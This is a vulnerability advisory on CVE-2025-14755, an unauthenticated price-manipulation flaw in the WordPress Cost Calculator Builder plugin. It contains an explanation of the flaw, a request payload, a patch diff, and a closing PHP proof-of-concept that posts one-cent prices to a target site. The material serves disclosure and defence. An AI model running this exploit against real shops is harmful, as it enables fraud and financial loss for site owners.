Atomic Edge analysis of CVE-2025-14755: The Cost Calculator Builder plugin for WordPress (versions up to and including 4.0.1) contains an unauthenticated price manipulation and insecure direct object reference vulnerability when used with Cost Calculator Builder PRO. This flaw allows attackers to arbitrarily manipulate WooCommerce product prices during checkout. The CVSS score is 5.3 (Medium), with CWE-862 (Missing Authorization).
The root cause is the improper registration of the ‘ccb_woocommerce_payment’ AJAX action via wp_ajax_nopriv, making it accessible to unauthenticated users. The vulnerable code resides in the renderWooCommercePayment() method inside CCBOrderController.php. This method passes unsanitized user-controlled data directly to CCBWooCheckout::init() without performing any authorization or capability checks. The ‘calcTotals’ and ‘otherTotals’ parameters in the AJAX request allow attackers to inject arbitrary price values before the order is processed.
An attacker can exploit this by sending a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘ccb_woocommerce_payment’. The request includes crafted ‘calcTotals’ and ‘otherTotals’ arrays containing product IDs and attacker-chosen prices (e.g., 0 or 1 cent). No authentication is required. A typical payload would be: action=ccb_woocommerce_payment&calcTotals[0][id]=123&calcTotals[0][total]=0.01&otherTotals[0][id]=123&otherTotals[0][total]=0.01&orderDetails[…].
The patch (version 4.0.2) introduces two critical fixes. First, in the validate_totals() method (called from the order controller), a return value check is added: if validate_totals() returns false, the request is rejected with wp_send_json($result). Second, in the renderWooCommercePayment() method, the ‘calcTotals’ and ‘otherTotals’ keys are explicitly unset from the received data array before it is passed to init(). This prevents the attacker-controlled pricing data from reaching the WooCommerce checkout flow.
If exploited, an attacker can purchase WooCommerce products at any price they specify, including zero cost. This leads to direct financial loss for the site owner, as orders are processed with fraudulent pricing. The impact is limited to price manipulation only; no data exposure or account takeover is possible. However, the attacker can repeatedly trigger the exploit to drain inventory or create massive numbers of illegitimate orders.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cost-calculator-builder/cost-calculator-builder.php
+++ b/cost-calculator-builder/cost-calculator-builder.php
@@ -8,7 +8,7 @@
* License: GNU General Public License v2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
* Text Domain: cost-calculator-builder
- * Version: 4.0.1
+ * Version: 4.0.2
*/
if ( ! defined( 'ABSPATH' ) ) {
@@ -17,7 +17,7 @@
define( 'CALC_DIR', __DIR__ );
define( 'CALC_FILE', __FILE__ );
-define( 'CALC_VERSION', '4.0.1' );
+define( 'CALC_VERSION', '4.0.2' );
define( 'CALC_WP_TESTED_UP', '6.9' );
define( 'CALC_DB_VERSION', '4.0.0' );
define( 'CALC_PATH', dirname( CALC_FILE ) );
--- a/cost-calculator-builder/includes/classes/CCBCalculatorsHandler.php
+++ b/cost-calculator-builder/includes/classes/CCBCalculatorsHandler.php
@@ -498,6 +498,7 @@
'builder' => ! empty( $stm_fields ) ? $stm_fields : array(),
'fields' => CCBFieldsHelper::fields(),
);
+ $result['saved'] = (bool) get_post_meta( $calc_id, 'calc_saved', true );
$all_forms = Forms::get_all_forms();
if ( empty( $all_forms ) ) {
--- a/cost-calculator-builder/includes/classes/CCBOrderController.php
+++ b/cost-calculator-builder/includes/classes/CCBOrderController.php
@@ -112,12 +112,16 @@
self::validate( $data );
- if ( empty( $data['id'] ) && empty( $data['totals'] ) && empty( $data['orderDetails'] ) ) {
+ if ( empty( $data['id'] ) && empty( $data['orderDetails'] ) ) {
wp_send_json( $result );
}
if ( ccb_pro_active() ) {
$data = CCBCalculator::validate_totals( $data );
+
+ if ( false === $data ) {
+ wp_send_json( $result );
+ }
}
$payment_method = $data['paymentMethod'] ?? '';
@@ -452,6 +456,14 @@
$data = (array) json_decode( stripslashes( $data ), true );
$order_id = $data['orderId'] ?? null;
+ if ( isset( $data['calcTotals'] ) ) {
+ unset( $data['calcTotals'] );
+ }
+
+ if ( isset( $data['otherTotals'] ) ) {
+ unset( $data['otherTotals'] );
+ }
+
if ( is_null( $order_id ) ) {
wp_send_json(
array(
--- a/cost-calculator-builder/includes/classes/appearance/presets/CCBPresetGenerator.php
+++ b/cost-calculator-builder/includes/classes/appearance/presets/CCBPresetGenerator.php
@@ -208,6 +208,10 @@
$presets = get_option( 'ccb_appearance_presets', array() );
$changed = false;
+ if ( ! is_array( $presets ) ) {
+ $presets = array();
+ }
+
// Remove legacy custom preset from DB permanently.
if ( isset( $presets['custom'] ) ) {
unset( $presets['custom'] );
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14755 - Cost Calculator Builder <= 4.0.1 - Unauthenticated Price Manipulation
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change to target WordPress site
// Step 1: Prepare the malicious payload with arbitrary prices
$calcTotals = array(
array(
'id' => 1, // WooCommerce product ID
'total' => 0.01 // Attacker-chosen price (e.g., 1 cent)
)
);
$otherTotals = array(
array(
'id' => 1,
'total' => 0.01
)
);
$orderDetails = array(
'products' => array(
array(
'id' => 1,
'quantity' => 1
)
)
);
$post_data = array(
'action' => 'ccb_woocommerce_payment',
'calcTotals' => urlencode(json_encode($calcTotals)),
'otherTotals' => urlencode(json_encode($otherTotals)),
'orderDetails' => urlencode(json_encode($orderDetails)),
'paymentMethod' => 'paypal'
);
// Step 2: Send the HTTP POST request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
if (curl_errno($ch)) {
echo 'Error: ' . curl_error($ch) . "n";
} else {
echo 'Response: ' . $response . "n";
}
curl_close($ch);
